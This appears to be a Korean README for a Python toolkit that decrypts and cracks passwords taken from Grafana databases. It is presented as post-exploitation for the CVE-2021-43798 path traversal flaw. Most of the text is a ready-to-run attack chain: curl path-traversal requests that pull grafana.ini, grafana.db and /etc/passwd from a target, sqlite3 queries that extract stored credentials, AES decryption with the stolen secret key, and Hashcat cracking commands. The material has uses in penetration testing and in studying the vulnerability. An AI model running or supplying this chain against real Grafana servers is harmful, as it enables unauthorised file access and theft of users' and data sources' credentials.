
Grafana 데이터베이스에서 AES-256 복호화 및 PBKDF2 비밀번호 크래킹을 위한 Python 툴킷으로, 일반적으로 (CVE-2021-43798)과 함께 사용됩니다.
다중 형식의 Grafana 비밀번호를 복호화 및 크래킹하는 Python 도구 키트입니다.
제작: strikoder
두 가지 유형의 Grafana 비밀번호 저장 방식을 처리합니다:
CVE-2021-43798 경로 탐색 이후 사후 공격(post-exploitation)에 적합합니다.
Grafana 버전 8.0.0-beta1부터 8.3.0까지의 경로 탐색 취약점으로, 인증되지 않은 공격자가 서버에서 임의 파일을 읽을 수 있게 합니다:
/etc/grafana/grafana.ini)/var/lib/grafana/grafana.db)/etc/passwd)공격 예시:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is --output grafana.db
이 도구 키트는 데이터베이스에서 추출한 비밀번호를 복호화/크래킹하여 공격 체인을 완료합니다.
data_source 테이블에서 AES-256 암호화된 비밀번호를 복호화합니다.
기반: jas502n/Grafana-CVE-2021-43798 (주요 개선 사항 포함):
user 테이블의 Grafana PBKDF2_HMAC_SHA256 해시를 Hashcat 호환 형식으로 변환하여 비밀번호 크래킹에 사용합니다.
git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #for Decyrption
chmod +x AESDecrypt.py grafana2hashcat.py
python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
python3 AESDecrypt.py -f hashes.txt
Grafana 설정에서 비밀 키 추출:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key
python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY
python3 grafana2hashcat.py grafana_hashes.txt
입력 형식 (grafana_hashes.txt):
hash1,salt1
hash2,salt2
hash3,salt3
출력 (Hashcat 사용 준비 완료):
sha256:10000:base64_salt:base64_hash
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
hashcat -m 10900 hashcat_hashes.txt wordlist.txt
# 1. Extract secret key from grafana.ini (might be empty in some cases, use default key in python program in that case)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
--path-as-is | grep secret_key
# 2. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 3. Extract AES-encrypted passwords from data_source table
sqlite3 grafana.db "SELECT name, password FROM data_source;"
# 4. Save passwords to file (one per line)
# Example: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
# 5. Decrypt with extracted secret key
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]
# 0. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 1. Extract PBKDF2 password hashes from user table
sqlite3 grafana.db "SELECT login, password, salt FROM user;"
# 2. Format hashes for grafana2hashcat (hash,salt format)
# Example format in grafana_hashes.txt:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper
# 3. Convert to Hashcat format
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
# 4. Crack with Hashcat (mode 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt
⭐ 도움이 되셨나요? 별표 눌러주세요!
제작: strikoder
| 비밀번호 유형 | 데이터베이스 테이블 | 형식 | 도구 | Hashcat 모드 |
|---|
| AES-256 암호화 | data_source | Base64 문자열 | AESDecrypt.py | 해당 없음 (직접 복호화) |
| PBKDF2_HMAC_SHA256 | user | 16진수 해시 + 솔트 | grafana2hashcat.py | -m 10900 |